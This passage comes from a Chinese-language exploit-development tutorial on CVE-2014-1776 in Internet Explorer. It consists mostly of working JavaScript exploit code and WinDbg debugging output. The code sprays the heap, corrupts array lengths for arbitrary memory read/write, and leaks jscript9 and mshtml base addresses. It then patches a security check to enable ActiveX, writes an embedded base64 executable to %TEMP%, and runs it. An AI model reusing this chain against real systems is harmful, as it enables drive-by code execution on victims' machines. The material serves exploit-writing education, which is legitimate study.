  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- 分配头 ------------------\ /--------- 缓冲区头--------------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // 定位要修改的Array(数组).
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素,则a[i]
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
        
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间. 
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
     // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:            
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // 以base64编码的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前面的两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = 如果已经存在的话就覆盖文件
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // 现在数据像这样
      //   11 00 12 00 45 00 50 00 ...
      // 而不是这样
      //   11 12 45 50 ...
      // 我们来把这个修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>



我对runcalc进行了部分省略.你可以从附件中下载完整的代码.


当我们在IE中加载该页面的时候,一个熟悉的对话框弹了出来:





这意味着,可能有什么东西变化了,上帝模式不起作用了.


我们添加两条alerts消息框语句来检查变量jscript9和mshtml是否包含了正确的地址:


    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:            
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));


当我们在IE中加载该页面的时候,我们发现这两个变量包含的值并不正确.我们在修改一下该代码,看看错在了哪里:


    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:      
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;


当我们在分析addr地址处的对象的时候,我们意识到缺少了什么东西:


0:021> dd 3c600e0
03c600e0  6cd75480 03c54120 00000000 03c6cfa0
03c600f0  029648a0 03c6af44 03c6af74 00000000
03c60100  6cd7898c 00000001 00000009 00000000
03c60110  0654d770 00000000 00000000 00000000
03c60120  6cd75480 03c54120 00000000 03c6c000
03c60130  029648a0 03c6a3d4 03c6af44 00000000
03c60140  6cd75480 03c54120 00000000 03c6cfb0
03c60150  029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
03c600e4  03c54120
03c600e8  00000000
03c600ec  03c6cfa0
03c600f0  029648a0
03c600f4  03c6af44
03c600f8  03c6af74
03c600fc  00000000
03c60100  6cd7898c jscript9!HostVariant::`vftable'
03c60104  00000001
03c60108  00000009
03c6010c  00000000
03c60110  0654d770
03c60114  00000000
03c60118  00000000
03c6011c  00000000
03c60120  6cd75480 jscript9!HostDispatch::`vftable'
03c60124  03c54120
03c60128  00000000
03c6012c  03c6c000
03c60130  029648a0
03c60134  03c6a3d4
03c60138  03c6af44
03c6013c  00000000
03c60140  6cd75480 jscript9!HostDispatch::`vftable'
03c60144  03c54120
03c60148  00000000
03c6014c  03c6cfb0
03c60150  029648a0
03c60154  029648c0
03c60158  03c60194
03c6015c  00000000


没有指向位于mshtml中虚表的指针,我们如何才能确定mshtml.dll的基地址呢?


我们需要找另一种方式.现在,我们了解到,div元素被表示为了jscript9!HostDispatch类型的对象了.但是我们已经看过这个对象的作用了.你还记得崩溃时的栈回溯吗?再来看一遍:


0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a


特别是,看看这两行:


0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae


很明显,jscript9!HostDispatch::CallInvokeEx知道MSHTML!Cbase::PrivateInvokeEx这个函数的地址,如果我们幸运的话,该地址可由HostDispatch这个对象得到(记住,我们知道该类型对象的地址).


在IDA中检查一下jscript9!HostDispatch::CallInvokeEx.在IDA中加载jscript9,然后按CTRL+P定位到CallInvokeEx.现在你可以单击任意指令,看看其相对于当前函数的偏移.我们想定位CallInvokeEx偏移0xae处的指令:





看起来好像MSHTML+CBase::PrivateInvokeEx的地址为eax+20h.


就像我们处理UAF漏洞一样,我们需要尝试确定MSHTML+Cbase::PrivateInvokeEx的地址来至哪里:











现在我们需要检查GetHostVariantWrapper这个函数:





通过合并图式,我们得到如下:


X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]



化简一下:


X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]


我们来看看我们是否正确.我们在IE中加载该html页面,再次检查div元素:


0:022> dd 5360f20
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
05360f80  05360fa1 00000000 00000000 00000000
05360f90  00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0  6cc52d44 00000001 05360f00 00000000
0536cfc0  6cc52d44 00000001 05360f40 00000000
0536cfd0  0536cfe1 00000000 00000000 00000000
0536cfe0  0536cff1 00000000 00000000 00000000
0536cff0  0536cf71 00000000 00000000 00000000
0536d000  6cc54534 0535d8c0 00000000 00000005
0536d010  00004001 047f0010 053578c0 00000000
0536d020  00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
    jscript9!Js::FunctionInfo::`vftable' = <no type information>
    jscript9!Projection::UnknownThis::`vftable' = <no type information>
    jscript9!Projection::NamespaceThis::`vftable' = <no type information>
    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
    jscript9!RefCountedHostVariant::`vftable' = <no type information>
    jscript9!DummyVTableObject::`vftable' = <no type information>
    jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00  6cc5898c 00000005 00000009 00000000
05360f10  00565d88 00000000 00000000 00000000
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
    jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88  6f03eb04 00000001 00000000 00000008
00565d98  00000000 05360f08 00000000 00000000
00565da8  00000022 02000400 00000000 00000000
00565db8  07d47798 07d47798 5c0cccc8 88000000
00565dc8  003a0043 0057005c 006e0069 006f0064
00565dd8  00730077 0073005c 00730079 00650074
00565de8  0033006d 005c0032 00580053 002e0053
00565df8  004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
    MSHTML!CDivElement::`vftable' = <no type information>



太帅了!我们的问题解决了!现在我们来刚刚发现的虚表的RVA:


0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04



我们还需要计算jscript9!HostDispatch::`vftable`的RVA:

0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480



现在修改代码如下:


    // 这里是div元素的开始:  
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // 为了找到MSHTML!CDivElement::`vftable'这个虚表,我们必须跟随一串指针链:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // 这里 vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04. 
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));
    return;


试试看,应该可以奏效!


现在,移除两个alert消息框和返回语句.嗯…计算器并没有弹出来,所以肯定还是有什么地方有问题(再次!).来看看错在了哪里,我们可以借助开发者工具.好像当开发者工具启用的时候,我们的上帝模式无法正常运作.仅仅授权ActiveXObject执行的话,你应该会看到如下错误:





幸运的是,这个问题非常简单:atob在IE9中不能用.我在这里找到一个atob的替代品:


https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa


修改后的代码如下:


<html>
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- 分配头 ------------------\ /--------- 缓冲区头--------------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // 定位要修改的Array(数组).
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素,则a[i]
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间.
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
     // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // 这里是div元素的开始:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // 为了找到MSHTML!CDivElement::`vftable'这个虚表,我们必须跟随一串指针链:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // 这里 vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
 
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // 以base64编码的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;        // 跳过tStream前面的两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = 如果已经存在的话就覆盖文件
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
 
    // 解码器
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // 初始化结果和计数器
        var bc = 0, bs, buffer, idx = 0, output = '';
        // 获取下一个字符
        buffer = str.charAt(idx++);
        // 字符在表中找到了吗?初始化位存储,并添加它的ascii码值;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // 如果不是每首4个字符的，
          // 第8位转换为一个ASCII字符
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // 尝试在表中找字符(0-63, 没有找到 => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }
 
    function decode(b64Data) {
      var data = atob(b64Data);
      
       // 现在数据像这样
      //   11 00 12 00 45 00 50 00 ...
      // 而不是这样
      //   11 12 45 50 ...
      // 我们来把这个修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>


和之前一样,我们对runcalc进行部分省略.你可以从附件中下载完整的代码.


现在,计算器弹出来了,一切都运作的很好,直到崩溃了.这个崩溃并不总是发生,所以代码中肯定哪里有错误.崩溃可能是由于不正确的写入引起的.既然上帝模式能够正常的运作,这个问题肯定出在bStream.SaveToFile这个调用的前面两行写入处.


我们注释掉这两行写入,然后再试一次.完美!现在没有继续崩溃了!但是我们不能仅仅省略这两行写入呀.如果我们使用SimpleServer的话,就不起作用了,因为这两行是必须的.可能比较令人惊讶,如果我们将这两行补上,一起又能正常运作了.


如果我们继续深入挖掘,我们会发现,当该html页面直接从硬盘上载入到IE中的时候,string_addr指向了一个空的dword.另一方面,当页面转到127.0.0.1并且由SimpleServer提供服务的时候,string_addr则指向了http://127.0.0.1这个Unicode字符串.出于这个原因,我们应该按照下面这样修改代码:


      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // 仅当这里是字符串的时候覆盖
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = 如果已经存在则覆盖文件
      }
      catch(err) {
        return 0;
      }


完成漏洞利用(2)


是时候来完成这个漏洞的利用了!完整的代码如下:


<html>
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  magic_addr = 0xc000000;
 
  function dword2Str(dword) {
    var low = dword % 0x10000;
    var high = Math.floor(dword / 0x10000);
    if (low == 0 || high == 0)
      alert("dword2Str: null wchars not allowed");
    return String.fromCharCode(low, high);
  }
 
  function getPattern(offset_values, tot_bytes) {
    if (tot_bytes % 4 != 0)
      alert("getPattern(): tot_bytes is not a multiple of 4");
    var pieces = new Array();
    var pos = 0;
    for (i = 0; i < offset_values.length/2; ++i) {
      var offset = offset_values[i*2];
      var value = offset_values[i*2 + 1];
      var padding = new Array((offset - pos)/2 + 1).join("a");
      pieces.push(padding + dword2Str(value));
      pos = offset + 4;
    }
    // 这个"-2"代表字符串尾部的空wchar.
    var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
    pieces.push(padding);
    return pieces.join("");
  }
 
  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }
 
  // 这个对象占0x428字节.
  // 控制这个bug的条件,强制位于magic_addr+0x1b处的dword自增1:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] 可写
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
 
      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // Y+9b0h的索引
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // Y+0a24h的索引
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // Y+1044h的索引
      b[idx] = 0; b[idx+1] = 0;
      // 下面的地址将为负数,所以我们加上0x10000让这个地址
      // 从该array(数组)之前的一个副本转换为现在的这个.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // Y+208h的索引
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // W+44h的索引
      b[idx] = -1; b[idx+1] = -1;
    }
    
    //           /------- 分配头 ------------------\ /--------- 缓冲区头--------------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
//    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    trigger();
    
    // 定位要修改的Array(数组).
    idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素,则a[i]
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
//      alert("Can't find the modified Array");
      window.location.reload();
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间.
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
     // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // 这里是div元素的开始:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // 为了找到MSHTML!CDivElement::`vftable'这个虚表,我们必须跟随一串指针链:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // 这里 vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
